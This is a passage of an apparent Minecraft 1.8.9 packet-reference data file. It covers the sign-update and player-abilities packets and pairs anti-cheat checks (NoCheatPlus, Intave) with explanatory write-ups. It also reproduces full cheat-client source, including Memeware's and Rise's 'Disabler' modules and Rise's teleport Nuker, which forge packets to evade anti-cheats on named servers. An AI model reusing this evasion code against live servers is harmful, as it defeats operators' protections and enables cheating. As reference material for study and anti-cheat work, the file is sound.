org.bukkit.entity.Player;\n\nimport fr.neatmonster.nocheatplus.actions.ParameterName;\nimport fr.neatmonster.nocheatplus.checks.Check;\nimport fr.neatmonster.nocheatplus.checks.CheckType;\nimport fr.neatmonster.nocheatplus.checks.ViolationData;\nimport fr.neatmonster.nocheatplus.compat.bukkit.BridgeMaterial;\nimport fr.neatmonster.nocheatplus.players.IPlayerData;\nimport fr.neatmonster.nocheatplus.utilities.StringUtil;\nimport fr.neatmonster.nocheatplus.utilities.TickTask;\n\npublic class AutoSign extends Check {\n\n    /** Reference time that is needed to edit the most complicated sign :). */\n    private static long maxEditTime = 1500;\n    /** Fastest time \"possible\" estimate for an empty sign. */\n    private static long minEditTime = 150;\n    /** Minimum time needed to add one extra line (not the first). */\n    private static long minLineTime = 50;\n    /** Minimum time needed to type a character. */\n    private static long minCharTime = 50;\n\n    private final List<String> tags = new ArrayList<String>();\n\n    final Set<Character> chars = new HashSet<Character>(15 * 4);\n\n    public AutoSign() {\n        super(CheckType.BLOCKPLACE_AUTOSIGN);\n    }\n    \n    /**\n     * Checks a player\n     * \n     * @param player\n     * @param block\n     * @param lines\n     * @param pData\n     * @return true if the player failed the check.\n     */\n    public boolean check(final Player player, final Block block, final String[] lines, final IPlayerData pData) {\n        tags.clear();\n        final long time = System.currentTimeMillis();\n        final BlockPlaceData data = pData.getGenericInstance(BlockPlaceData.class);\n        final BlockPlaceConfig cc = pData.getGenericInstance(BlockPlaceConfig.class);\n        Material mat = block.getType();\n        String s = mat.toString();\n        mat = BridgeMaterial.getSignItemFromBlock(mat);\n\n        if (pData.isDebugActive(CheckType.BLOCKPLACE_AUTOSIGN)) {\n            debug(player, \"Block-place hash: \" + BlockPlaceListener.getBlockPlaceHash(block, mat) + \", Material type: \" + mat + \" / \" + s);\n        }\n\n        // Check hash match\n        if (data.autoSignPlacedHash != 0 && data.autoSignPlacedHash != BlockPlaceListener.getBlockPlaceHash(block, mat)) {\n            tags.add(\"block_mismatch\");\n            return handleViolation(player, maxEditTime, data, cc);\n        }\n\n        if (time < data.signOpenTime) {\n            data.signOpenTime = 0;\n            return false;\n        }\n        // Check time, mind lag.\n        final long editTime = time - data.signOpenTime;\n        long expected = getExpectedEditTime(lines, cc.autoSignSkipEmpty);\n        if (expected == 0) {\n            return false;\n        }\n        expected = (long) (expected / TickTask.getLag(expected, true));\n        if (expected > editTime){\n            tags.add(\"edit_time\");\n            return handleViolation(player, expected - editTime, data, cc);\n        }\n        return false;\n    }\n\n    private long getExpectedEditTime(final String[] lines, final boolean skipEmpty) {\n        long expected = minEditTime;\n        int n = 0;\n        for (String line : lines){\n            if (line != null){\n                line = line.trim().toLowerCase();\n                if (!line.isEmpty()){\n                    chars.clear();\n                    n += 1;\n                    for (final char c : line.toCharArray()) {\n                        chars.add(c);\n                    }\n                    expected += minCharTime * chars.size();\n                }\n            }\n        }\n        if (skipEmpty && n == 0) {\n            return 0;\n        }\n        if (n > 1) {\n            expected += minLineTime * n;\n        }\n        return expected;\n    }\n\n    /**\n     * \n     * @param player\n     * @param violationTime Amount of too fast editing.\n     * @param data\n     * @return\n     */\n    private boolean handleViolation(final Player player, final long violationTime, final BlockPlaceData data, final BlockPlaceConfig cc) {\n        final double addedVL = 10.0 * Math.min(maxEditTime, violationTime) / maxEditTime;\n        data.autoSignVL += addedVL;\n        final ViolationData vd = new ViolationData(this, player, data.autoSignVL, addedVL, cc.autoSignActions);\n        if (vd.needsParameters()){\n            vd.setParameter(ParameterName.TAGS, StringUtil.join(tags, \"+\"));\n        }\n        return executeActions(vd).willCancel();\n    }\n}\n\n// NOTE (AI): NCP drives this check from SignChangeEvent and PlayerSignOpenEvent rather than from the raw packet, so it also covers servers where the packet is delivered through the Bukkit event bus.",
       "code_source": "Updated-NoCheatPlus-NoCheatPlus, NCPCore/src/main/java/fr/neatmonster/nocheatplus/checks/blockplace/AutoSign.java",
       "variations": "Intave's ItemCrashTracker instead validates sign content length (see next entry); Vrekt-Arc-v2 and Artemis only ship UpdateSign wrappers."
      },
      {
       "name": "ItemCrashTracker sign limit (Intave)",
       "found_in": [
        "intave-intave"
       ],
       "purpose": "Block the sign-update crash exploit that sends oversized line components.",
       "how_it_works": "Subscribes to the UPDATE_SIGN packet, reads the four chat components, and if any JSON serialization exceeds 500 characters it cancels the packet and kicks the player. The same module also carries Intave's window-click crash fix.",
       "detects": "Sign update packets with oversized or malformed line components, which crash vanilla sign handling on 1.8 servers.",
       "detailed_code": "// ===== FILE: intave-intave, src/main/java/de/jpx3/intave/module/tracker/player/ItemCrashTracker.java =====\n/*\n * Copyright 2026 Intave\n *\n * This software is licensed under the PolyForm Perimeter License 1.0.0.\n * You may use this software for any purpose, except for providing to\n * others any product that competes with the software.\n *\n * A copy of the license is available at:\n *   https://polyformproject.org/licenses/perimeter/1.0.0/\n */\n\npackage de.jpx3.intave.module.tracker.player;\n\nimport com.comphenix.protocol.events.PacketContainer;\nimport com.comphenix.protocol.events.PacketEvent;\nimport com.comphenix.protocol.wrappers.WrappedChatComponent;\nimport de.jpx3.intave.module.Module;\nimport de.jpx3.intave.module.linker.packet.PacketSubscription;\nimport de.jpx3.intave.player.FaultKicks;\nimport de.jpx3.intave.user.User;\nimport de.jpx3.intave.user.UserRepository;\nimport de.jpx3.intave.user.meta.InventoryMetadata;\nimport org.bukkit.entity.Player;\nimport org.bukkit.inventory.ItemStack;\nimport org.bukkit.inventory.meta.ItemMeta;\nimport org.bukkit.inventory.meta.SkullMeta;\n\nimport java.util.List;\n\nimport static de.jpx3.intave.module.linker.packet.PacketId.Client.UPDATE_SIGN;\nimport static de.jpx3.intave.module.linker.packet.PacketId.Client.WINDOW_CLICK;\nimport static de.jpx3.intave.module.linker.packet.PacketId.Server.SET_SLOT;\nimport static de.jpx3.intave.module.linker.packet.PacketId.Server.WINDOW_ITEMS;\n\npublic final class ItemCrashTracker extends Module {\n  @PacketSubscription(\n    packetsOut = {\n      WINDOW_ITEMS, SET_SLOT\n    }\n  )\n  public void checkOutgoingItems(PacketEvent event) {\n    Player player = event.getPlayer();\n    User user = UserRepository.userOf(player);\n    PacketContainer packet = event.getPacket();\n    ItemStack itemStack = packet.getItemModifier().readSafely(0);\n    if (itemStack != null) {\n      putOnWhitelist(user, itemStack);\n    }\n    ItemStack[] itemStacks = packet.getItemArrayModifier().readSafely(0);\n    if (itemStacks != null && itemStacks.length != 0) {\n      for (ItemStack stack : itemStacks) {\n        if (stack != null) {\n          putOnWhitelist(user, stack);\n        }\n      }\n    }\n    List<ItemStack> itemStackList = packet.getItemListModifier().readSafely(0);\n    if (itemStackList != null) {\n      for (ItemStack stack : itemStackList) {\n        if (stack != null) {\n          putOnWhitelist(user, stack);\n        }\n      }\n    }\n  }\n\n  private void putOnWhitelist(User user, ItemStack stack) {\n    InventoryMetadata inventory = user.meta().inventory();\n    String name = ownerFromSkull(stack);\n    if (name != null) {\n      inventory.registerSkullRequest(name);\n    }\n  }\n\n  private String ownerFromSkull(ItemStack skull) {\n    String name = skull.getType().name();\n    if (!(name.contains(\"SKULL\") || name.contains(\"HEAD\"))) {\n      return null;\n    }\n    ItemMeta meta = skull.getItemMeta();\n    if (meta instanceof SkullMeta) {\n      return ownerFromSkullMeta((SkullMeta) meta);\n    }\n    return null;\n  }\n\n  private String ownerFromSkullMeta(SkullMeta meta) {\n    return meta.getOwner();\n  }\n\n  @PacketSubscription(\n    packetsIn = UPDATE_SIGN\n  )\n  public void checkSign(PacketEvent event) {\n    Player player = event.getPlayer();\n    User user = UserRepository.userOf(player);\n    PacketContainer packet = event.getPacket();\n    WrappedChatComponent[] wrappedChatComponents = packet.getChatComponentArrays().readSafely(0);\n\n    if (wrappedChatComponents != null) {\n      for (WrappedChatComponent chatComponent : wrappedChatComponents) {\n        if (chatComponent.getJson().length() > 500) {\n          event.setCancelled(true);\n          user.kick(\"Too many characters in sign update packet\");\n          return;\n        }\n      }\n    }\n  }\n\n  @PacketSubscription(\n    packetsIn = {\n      WINDOW_CLICK\n    }\n  )\n  public void windowClickCrashFix(PacketEvent event) {\n    Player player = event.getPlayer();\n    User user = UserRepository.userOf(player);\n    InventoryMetadata inventoryData = user.meta().inventory();\n    if (System.currentTimeMillis() - inventoryData.lastWCCReset > 10000) {\n      inventoryData.windowClickCounter = 0;\n      inventoryData.lastWCCReset = System.currentTimeMillis();\n    }\n\n    if (inventoryData.windowClickCounter++ > 500 && FaultKicks.INVENTORY_FAULTS) {\n      user.kick(\"Too many inventory interactions\");\n      event.setCancelled(true);\n    }\n  }\n}\n\n// NOTE (AI): The 500-character cap targets the Jigsaw OPSign-style exploit that re-sends C12 to corrupt the server's sign data structure; the same module handles skull-item whitelisting and window-click rate limits.",
       "code_source": "intave-intave, src/main/java/de/jpx3/intave/module/tracker/player/ItemCrashTracker.java",
       "variations": "No other anticheat in the corpus validates sign content; the rest ignore the packet entirely."
      }
     ]
    }
   },
   "wiki_notes": [
    "BlockPos coded as one 8-byte long followed by 4 chat-component JSON strings capped at 384 chars each.",
    "Server requires a loaded TileEntitySign that is editable by that player, else logs and drops it.",
    "Stored lines are flattened to plain text with formatting codes stripped before markDirty and update.",
    "MCP 1.8.9 C12PacketUpdateSign implements Packet<INetHandlerPlayServer> dispatching to INetHandlerPlayServer.processUpdateSign; wire serde is readPacketData/writePacketData via readBlockPos, readStringFromBuffer.",
    "1.8.9 callers: GuiEditSign.onGuiClosed sends new C12PacketUpdateSign (line 59): https://github.com/Marcelektro/MavenMCP-1.8.9/blob/master/src/main/java/net/minecraft/client/gui/inventory/GuiEditSign.java"
   ],
   "url": "https://mc-packet-reference.netlify.app/1.8.9/packets/C12PacketUpdateSign/",
   "mcp_path": "net/minecraft/network/play/client/C12PacketUpdateSign.java",
   "group": "play-server",
   "logic_classes": []
  },
  {
   "id": "C13PacketPlayerAbilities",
   "hex": "0x13",
   "dec": 19,
   "dir": "SERVERBOUND",
   "state": "PLAY",
   "name": "Player Abilities",
   "desc": "Player toggles flying state. Only sent for the flying flag change. The server controls all other ability flags via S39PacketPlayerAbilities.",
   "tags": [
    "player",
    "movement",
    "flight"
   ],
   "fields": [
    {
     "name": "invulnerable",
     "type": "boolean",
     "desc": "Player is invulnerable (god mode)"
    },
    {
     "name": "isFlying",
     "type": "boolean",
     "desc": "True if the player is currently flying"
    },
    {
     "name": "allowFlying",
     "type": "boolean",
     "desc": "Whether player is allowed to fly"
    },
    {
     "name": "creativeMode",
     "type": "boolean",
     "desc": "True if in creative mode"
    },
    {
     "name": "flySpeed",
     "type": "float",
     "desc": "Flight speed multiplier"
    },
    {
     "name": "walkSpeed",
     "type": "float",
     "desc": "Walk speed multiplier"
    }
   ],
   "encoding": [
    [
     "Flags",
     "byte (bitmask)",
     "0x01=invulnerable, 0x02=flying, 0x04=allowFlying, 0x08=creative"
    ],
    [
     "Fly Speed",
     "float",
     "Flight speed multiplier"
    ],
    [
     "Walk Speed",
     "float",
     "Walk speed multiplier"
    ]
   ],
   "mcp": [
    "NetHandlerPlayServer.processPlayerAbilities()"
   ],
   "handler": "INetHandlerPlayServer",
   "notes": "The client only sends this when the flying state changes (pressing space twice in creative mode). The server ignores all flags except isFlying for non-creative players. Even if you set allowFlying=true, the server won't let you fly unless it sent S39 with allowFlying=true first.",
   "implementation": {
    "writeup": [
     {
      "h": "Role in the protocol",
      "p": "C13 announces ability state changes: a 4-bit flag byte (invulnerable, flying, allowFlying, creative) plus fly and walk speed floats. Vanilla sends it only when the flying flag flips, from EntityPlayerSP.sendPlayerAbilities. Despite the full struct, the 1.8.9 server reads exactly one bit: it writes isFlying into the player's capabilities and discards everything else."
     },
     {
      "h": "Vanilla handling",
      "p": "processPlayerAbilities is a single line: capabilities.isFlying = packetIn.isFlying() && capabilities.allowFlying. The server's own allowFlying flag, set exclusively via S39PacketPlayerAbilities, ANDs out any client claim of flight, which is the core reason ability spoofing is a dead end against vanilla. The float fields are not stored at all in 1.8.9, so a forged flySpeed or walkSpeed never reaches server math."
     },
     {
      "h": "Why clients touch it",
      "p": "The 8 clients show four families. (1) Disabler modes: Memeware Watchdog sends C13 with NaN flySpeed on Hypixel, Rise 5.99's hypixelSlime and c13 modes send allowFlying/isFlying true, Spicy's Disabler sends creative flags. (2) Rise 6.x AbilitiesDisabler spams C13 every 5 ticks. (3) Flight movement: Spicy LongJump, Fly and BackupFly forge full PlayerCapabilities with random flySpeed. (4) Utility: Rise 6.x Nuker syncs the flying flag before teleport-nuking, and the script PacketAPI exposes sendAbilities. The two new research clients add two more. November Recode 2.0 only maps C13 to id 0x13 for its Lua scripting API, with no dedicated module. LiquidSense Dev declares isFlying on enable in LastestHypixelFly and Tp, and TeleportCommand spams absurd flySpeed and walkSpeed floats (1.0E8F and 1.0E8F minus 1) along its C04 teleport path."
     },
     {
      "h": "Exploit surface",
      "p": "Because the server ANDs against its own allowFlying, the packet is the safest spoof in the protocol: a forged isFlying claim is dropped silently on any non-creative player, which is why disablers spam it freely. The NaN flySpeed in Memeware targets proxy and anti-cheat parsers that copy the float before the handler drops it. The real signal anti-cheats measure is not C13 but the motion that follows: clients that declare flying then move at fly speed without S39 authorization flag on movement checks, not on the packet itself."
     }
    ],
    "overview": "The ability-flag packet. The server keeps exactly one bit (isFlying, ANDed against server-side allowFlying); the 8 clients abuse it as a safe desync probe in disablers and as a client-side flight declaration in movement modules.",
    "server_handling": "processPlayerAbilities writes capabilities.isFlying = packetIn.isFlying() && capabilities.allowFlying and nothing else. The invulnerable, allowFlying, creativeMode, flySpeed and walkSpeed fields are parsed from the wire and discarded. S39PacketPlayerAbilities is the only way the server-side allowFlying changes.",
    "protocol_notes": "Flag byte (0x01 invulnerable, 0x02 flying, 0x04 allowFlying, 0x08 creative) + two floats. Vanilla clients emit it on double-tap-space in creative; modules emit it on ticks, strafe events or module enable. The wire format accepts any float, including NaN and values far outside the 0..1 range.",
    "anticheat_landscape": "Anti-cheats treat C13 as a weak signal because vanilla discards most of it. NCP and Verus correlate declared flying with actual vertical motion; a client that spams isFlying=true but moves like a walker is suspicious, and one that moves like a flier without S39 authorization flags on motion. The NaN flySpeed trick only works against layers that deserialize the float before the vanilla handler.",
    "modules": [
     {
      "name": "Disabler (abilities spoof)",
      "found_in": [
       "Memeware 7.3",
       "Rise 5.99",
       "Spicy"
      ],
      "purpose": "Send forged C13 payloads as part of anti-cheat disabler mode suites, usually alongside C0F and C00 manipulation.",
      "how_it_works": "Memeware's Watchdog mode sends C13 with isFlying=true and NaN flySpeed every 30 ticks on Hypixel. Rise 5.99's hypixelSlime mode sends isFlying=true when the server allows flying; its c13 mode sends a bare C13 with allowFlying and flying set. Spicy's Disabler sends creative-flag capabilities from its own mode logic.",
      "detailed_code": "// ===== FILE: Memeware 7.3, me/memewaredevs/client/module/exploit/Disabler.java =====\npackage me.memewaredevs.client.module.exploit;\n\nimport me.hippo.api.lwjeb.annotation.Handler;\nimport me.memewaredevs.client.event.events.PacketInEvent;\nimport me.memewaredevs.client.event.events.PacketOutEvent;\nimport me.memewaredevs.client.event.events.UpdateEvent;\nimport me.memewaredevs.client.module.Module;\nimport me.memewaredevs.client.util.ChatUtil;\nimport me.memewaredevs.client.util.misc.Timer;\nimport me.memewaredevs.client.util.packet.PacketUtil;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.*;\nimport net.minecraft.network.play.server.S08PacketPlayerPosLook;\nimport net.minecraft.network.play.server.S2APacketParticles;\nimport org.apache.commons.lang3.RandomUtils;\n\nimport java.util.Queue;\nimport java.util.concurrent.ConcurrentLinkedQueue;\nimport java.util.function.Consumer;\n\npublic class Disabler extends Module {\n\n    private static final int VERUS_DISABLE_AUTOBAN_CHANNEL = 65536;\n    private static final short VERUS_DISABLE_AUTOBAN_UID = 32767;\n    private final Queue<Packet> packetQueue = new ConcurrentLinkedQueue();\n    private final Timer timer = new Timer();\n    private final Timer timer1 = new Timer();\n\n    public Disabler(final String name, final int key, final Module.Category category) {\n        super(name, key, category);\n        this.addModes(\"Mineplex Combat\", \"Transaction\", \"Latest Verus\", \"PvPTemple\", \"OmegaCraft\", \"Timer\", \"AACv1.9.10\", \"Sloth\", \"Ghostly\", \"Watchdog\", \"Faithful Movement\");\n    }\n\n    @Override\n    public void onDisable() {\n        packetQueue.clear();\n    }\n\n    @Override\n    public void onEnable() {\n        timer.reset();\n    }\n\n    @Handler\n    public Consumer<PacketInEvent> packetInEventConsumer = (event) -> {\n        if (isMode(\"Sloth\")) {\n            if (event.getPacket() instanceof S08PacketPlayerPosLook) {\n                S08PacketPlayerPosLook playerPosLook = (S08PacketPlayerPosLook) event.getPacket();\n                /**\n                 * Works alongside with the spigot exploit.\n                 * Exploit PlayerData bug (Player data gets set to null if the previous event is cancelled, and y difference <= 1.0E-4)\n                 */\n                playerPosLook.y += 1.0E-4;\n            }\n        }\n    };\n\n    @Handler\n    public Consumer<UpdateEvent> eventConsumer = (event) -> {\n        if (isMode(\"Latest Verus\")) {\n            if (timer.delay(490L)) {\n                if (!packetQueue.isEmpty()) {\n                    PacketUtil.sendPacketSilent(packetQueue.poll());\n                }\n                timer.reset();\n            }\n        }\n\n        if (isMode(\"OmegaCraft\")) {\n            PacketUtil.sendPacketSilent(new C0FPacketConfirmTransaction(VERUS_DISABLE_AUTOBAN_CHANNEL, VERUS_DISABLE_AUTOBAN_UID, true));\n        }\n\n        if (isMode(\"PvPTemple\")) { // Added by Auth\n            event.setGround(false);\n            event.setY(event.getY() + 0.42);\n            event.setYaw(0);\n            event.setPitch(0);\n        }\n\n        if (isMode(\"Watchdog\")) {\n            if (timer.delay(15000L)) {\n                if (!packetQueue.isEmpty()) {\n                    PacketUtil.sendPacketSilent(packetQueue.poll());\n                }\n                timer.reset();\n            }\n        }\n\n    };\n\n    @Handler\n    public Consumer<PacketInEvent> eventConsumer0 = (event) -> {\n        if (event.getPacket() instanceof S2APacketParticles) {\n            event.cancel();\n        }\n    };\n\n    @Handler\n    public Consumer<PacketOutEvent> eventConsumer1 = (event) -> {\n\n        if (isMode(\"Mineplex Combat\"))\n            if (event.getPacket() instanceof C00PacketKeepAlive) {\n                C00PacketKeepAlive packetKeepAlive = (C00PacketKeepAlive) event.getPacket();\n                packetKeepAlive.key -= RandomUtils.nextInt(3, 128);\n            }\n\n        if (isMode(\"OmegaCraft\"))\n            if (event.getPacket() instanceof C0FPacketConfirmTransaction)\n                event.cancel();\n\n        if (isMode(\"Latest Verus\")) {\n            if (event.getPacket() instanceof C0FPacketConfirmTransaction) {\n                C0FPacketConfirmTransaction c0fPacketConfirmTransaction = (C0FPacketConfirmTransaction) event.getPacket();\n                packetQueue.add(c0fPacketConfirmTransaction);\n                event.cancel();\n            }\n\n            if (event.getPacket() instanceof C03PacketPlayer) {\n                C03PacketPlayer c03 = (C03PacketPlayer) event.getPacket();\n                if (mc.thePlayer.ticksExisted % 33 == 0) {\n                    c03.y = -0.911;\n                    c03.onGround = false;\n                    c03.field_149480_h = false;\n                }\n            }\n\n            if (mc.thePlayer != null && mc.thePlayer.ticksExisted <= 7) {\n                timer.reset();\n                packetQueue.clear();\n            }\n        }\n\n        if (isMode(\"Timer\") && event.getPacket() instanceof C03PacketPlayer) {\n            if (mc.thePlayer.ticksExisted % 3 != 0) {\n                event.cancel();\n            }\n        }\n        if (isMode(\"AACv1.9.10\")) {\n            if (event.getPacket() instanceof C03PacketPlayer) {\n                PacketUtil.sendPacketSilent(new C0CPacketInput());\n                C03PacketPlayer packetPlayer = (C03PacketPlayer) event.getPacket();\n                /**\n                 * Resets all checks VL due to a bug in critical hit check\n                 */\n                packetPlayer.y += 7.0E-9D;\n            }\n        }\n\n        if (isMode(\"Sloth\")) {\n            if (event.getPacket() instanceof C03PacketPlayer) {\n                C03PacketPlayer packetPlayer = (C03PacketPlayer) event.getPacket();\n                if (!timer.delay(1000L)) {\n                    for (int i = 0; i < 10; ++i) {\n                        double y = i > 2 && i < 8 ? 11 : 120;\n                        PacketUtil.sendPacketSilent(new C03PacketPlayer.C04PacketPlayerPosition(mc.thePlayer.posX, mc.thePlayer.posY - y, mc.thePlayer.posZ, true));\n                    }\n                } else {\n                    //set to default jump value so viper can stop fucking value patching it\n                    packetPlayer.y += 0.42F;\n                }\n            }\n        }\n        if (isMode(\"Faithful Movement\")) {\n            if (mc.thePlayer != null && event.getPacket() instanceof C00PacketKeepAlive) {\n                C00PacketKeepAlive packetKeepAlive = (C00PacketKeepAlive) event.getPacket();\n                packetKeepAlive.key -= 31;\n            }\n        }\n\n\n        if (isMode(\"Ghostly\")) { // Ghostly Disabler added by Auth\n            if (event.getPacket() instanceof C03PacketPlayer)\n                PacketUtil.sendPacketSilent(new C0CPacketInput());\n            if (event.getPacket() instanceof C0FPacketConfirmTransaction)\n                event.cancel();\n        }\n        if (isMode(\"Watchdog\")) {\n//            PacketUtil.sendPacketSilent(new C0EPacketClickWindow());\n            if (mc.getCurrentServerData().serverIP.contains(\"hypixel.net\")) {\n                if (mc.thePlayer.ticksExisted % 30 == 0) {\n                    PlayerCapabilities pc = new PlayerCapabilities();\n                    pc.isFlying = true;\n                    pc.setFlySpeed(Float.NaN);\n                    PacketUtil.sendPacketSilent(new C13PacketPlayerAbilities(pc));\n                }\n                System.out.println(event.getPacket());\n                if (event.getPacket() instanceof C0FPacketConfirmTransaction) {\n                    event.setPacket(new C0FPacketConfirmTransaction(Integer.MIN_VALUE, Short.MAX_VALUE, true));\n                }\n            } else {\n                ChatUtil.printChat(\"You must be on Hypixel to use Watchdog Disabler!\");\n                this.toggle();\n            }\n        }\n    };\n}\n// NOTE (AI): The C13 hit is in the Watchdog mode: on Hypixel, every 30 ticks the module builds a fresh PlayerCapabilities with isFlying=true and flySpeed set to Float.NaN and sends it via sendPacketSilent. The server's processPlayerAbilities only writes capabilities.isFlying = packetIn.isFlying() && capabilities.allowFlying, so the NaN flySpeed never reaches the server-side capabilities; the mode is aimed at the proxy/anti-cheat layer that parses the packet before the handler. The same mode corrupts C0F transaction keys with Integer.MIN_VALUE/Short.MAX_VALUE.",
      "code_source": "Memeware 7.3, me/memewaredevs/client/module/exploit/Disabler.java",
      "vanilla_hook": "PacketOutEvent (Memeware), PacketSendEvent (Rise 5.99), module-specific events (Spicy).",
      "anti_cheat_notes": "Low risk against vanilla because the handler ANDs the bit away; the NaN float is the only payload that can poison a parsing layer. Motion checks remain the actual flag surface.",
      "variations": "Rise 5.99 uses PacketUtil.sendPacket/sendPacketWithoutEvent; Spicy uses sendPacketNoEvent on the network manager; Memeware uses sendPacketSilent."
     },
     {
      "name": "AbilitiesDisabler",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Spam C13 with a fresh isFlying=true capabilities object to desynchronize anti-cheat ability tracking.",
      "how_it_works": "On StrafeEvent, every 5 ticks, builds a PlayerCapabilities (isFlying=true, allowFlying left false) and sends it through PacketUtil.send. Gated on the parent Disabler's deprecated setting.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/disabler/AbilitiesDisabler.java =====\npackage com.alan.clients.module.impl.exploit.disabler;\n\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.StrafeEvent;\nimport com.alan.clients.module.impl.exploit.Disabler;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.value.Mode;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.play.client.C13PacketPlayerAbilities;\n\npublic class AbilitiesDisabler extends Mode<Disabler> {\n    public AbilitiesDisabler(String name, Disabler parent) {\n        super(name, parent);\n    }\n\n    @EventLink\n    public final Listener<StrafeEvent> onStrafe = event -> {\n        if (!getParent().deprecated.getValue()) {\n            return;\n        }\n\n        if (mc.thePlayer.ticksExisted % 5 == 0) {\n            final PlayerCapabilities playerCapabilities = new PlayerCapabilities();\n            playerCapabilities.isFlying = true;\n            PacketUtil.send(new C13PacketPlayerAbilities(playerCapabilities));\n        }\n    };\n}\n// NOTE (AI): AbilitiesDisabler is a Mode of the Rise 6.x Disabler. Every 5 ticks on StrafeEvent it sends a C13 with a fresh PlayerCapabilities whose isFlying is true. The default constructor of PlayerCapabilities leaves allowFlying false, so the vanilla handler ANDs the flying bit out; the spam is aimed at anti-cheat layers that fingerprint the packet stream rather than the server state. It only runs while the parent Disabler's deprecated setting is enabled.",
      "code_source": "Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/exploit/disabler/AbilitiesDisabler.java",
      "vanilla_hook": "StrafeEvent.",
      "anti_cheat_notes": "The default-constructed capabilities leave allowFlying false, so vanilla drops the flying bit; the spam targets packet-level fingerprinting only.",
      "variations": "Byte-identical AbilitiesDisabler exists in Rise 6.1.30."
     },
     {
      "name": "Nuker",
      "found_in": [
       "Rise 6.1.30",
       "Rise 6.2.4"
      ],
      "purpose": "Sync the server-side flying flag before teleport-nuking so airborne path movement is not treated as un-authorized flight.",
      "how_it_works": "In Teleport mode, when the player can fly but is not flagged flying, the module mutates the shared capabilities and sends C13 with isFlying=true via sendNoEvent, then path-teleports with C04 packets.",
      "detailed_code": "// ===== FILE: Rise 6.2.4, Client-release2/Client/src/main/java/com/alan/clients/module/impl/other/Nuker.java =====\npackage com.alan.clients.module.impl.other;\n\nimport com.alan.clients.component.impl.player.GUIDetectionComponent;\nimport com.alan.clients.event.Listener;\nimport com.alan.clients.event.annotations.EventLink;\nimport com.alan.clients.event.impl.motion.PreMotionEvent;\nimport com.alan.clients.event.impl.other.WorldChangeEvent;\nimport com.alan.clients.event.impl.packet.PacketReceiveEvent;\nimport com.alan.clients.module.Module;\nimport com.alan.clients.module.api.Category;\nimport com.alan.clients.module.api.ModuleInfo;\nimport com.alan.clients.util.packet.PacketUtil;\nimport com.alan.clients.util.pathfinding.unlegit.MainPathFinder;\nimport com.alan.clients.util.pathfinding.unlegit.Vec3;\nimport com.alan.clients.util.rotation.RotationUtil;\nimport com.alan.clients.util.vector.Vector2f;\nimport com.alan.clients.util.vector.Vector3d;\nimport com.alan.clients.value.impl.BooleanValue;\nimport com.alan.clients.value.impl.ModeValue;\nimport com.alan.clients.value.impl.NumberValue;\nimport com.alan.clients.value.impl.SubMode;\nimport net.minecraft.block.Block;\nimport net.minecraft.block.BlockAir;\nimport net.minecraft.entity.player.PlayerCapabilities;\nimport net.minecraft.network.Packet;\nimport net.minecraft.network.play.client.C03PacketPlayer;\nimport net.minecraft.network.play.client.C07PacketPlayerDigging;\nimport net.minecraft.network.play.client.C13PacketPlayerAbilities;\nimport net.minecraft.network.play.server.S02PacketChat;\nimport net.minecraft.util.BlockPos;\nimport net.minecraft.util.EnumFacing;\nimport rip.vantage.commons.util.time.StopWatch;\n\nimport java.util.Collections;\nimport java.util.List;\n\n@ModuleInfo(aliases = {\"module.other.nuker.name\"}, description = \"module.other.nuker.description\", category = Category.PLAYER)\npublic final class Nuker extends Module {\n\n    private final ModeValue mode = new ModeValue(\"Mode\", this)\n            .add(new SubMode(\"Nearby\"))\n            .add(new SubMode(\"Teleport\"))\n            .setDefault(\"Nearby\");\n\n    private final NumberValue delay = new NumberValue(\"Delay\", this, 150, 0, 5000, 50);\n    private final NumberValue range = new NumberValue(\"Range\", this, 4, 1, 6, 0.5);\n    private final BooleanValue rotations = new BooleanValue(\"Rotations\", this, false);\n    private final BooleanValue scatter = new BooleanValue(\"Scatter\", this, false);\n    private final BooleanValue swing = new BooleanValue(\"Swing\", this, false);\n\n    private final StopWatch stopWatch = new StopWatch();\n\n    @EventLink\n    public final Listener<PreMotionEvent> onPreMotionEvent = event -> {\n        if (GUIDetectionComponent.inGUI()) return;\n\n        final double range = this.range.getValue().doubleValue();\n\n        switch (mode.getValue().getName()) {\n            case \"Nearby\":\n                if (stopWatch.finished(delay.getValue().longValue())) {\n                    new Thread(() -> nuke(range, event.getPosX(), event.getPosY(), event.getPosZ())).start();\n                    stopWatch.reset();\n                }\n                break;\n\n            case \"Teleport\":\n                if (mc.gameSettings.keyBindUseItem.isKeyDown() && stopWatch.finished(delay.getValue().longValue())) {\n                    final BlockPos target = mc.thePlayer.rayTrace(999, 1).getBlockPos();\n\n                    if (mc.theWorld.getBlockState(target).getBlock() instanceof BlockAir) {\n                        return;\n                    }\n\n                    if (mc.thePlayer.capabilities.allowFlying && !mc.thePlayer.capabilities.isFlying) {\n                        final PlayerCapabilities capabilities = mc.thePlayer.capabilities;\n                        capabilities.isFlying = true;\n                        PacketUtil.sendNoEvent(new C13PacketPlayerAbilities(capabilities));\n                    }\n\n                    new Thread(() -> {\n                        final List<Vec3> path = MainPathFinder.computePath(new Vec3(event.getPosX(), event.getPosY(), event.getPosZ()), new Vec3(target.getX(), target.getY(), target.getZ()), false);\n\n                        if (path == null) {\n                            return;\n                        }\n\n                        for (final Vec3 vec : path) {\n                            PacketUtil.sendNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(vec.getX(), vec.getY(), vec.getZ(), false));\n                        }\n\n                        nuke(range, target.getX(), target.getY(), target.getZ());\n                        Collections.reverse(path);\n\n                        for (final Vec3 vec : path) {\n                            PacketUtil.sendNoEvent(new C03PacketPlayer.C04PacketPlayerPosition(vec.getX(), vec.getY(), vec.getZ(), false));\n                        }\n                    }).start();\n\n                    stopWatch.reset();\n                }\n                break;\n        }\n\n    };\n\n    @EventLink\n    public final Listener<PacketReceiveEvent> onPacketReceiveEvent = event -> {\n        final Packet<?> p = event.getPacket();\n\n        if (p instanceof S02PacketChat) {\n            final S02PacketChat wrapper = (S02PacketChat) p;\n\n            if (!wrapper.isChat() && wrapper.getChatComponent().getUnformattedText().equals(\"You can't build outside the plot!\")) {\n                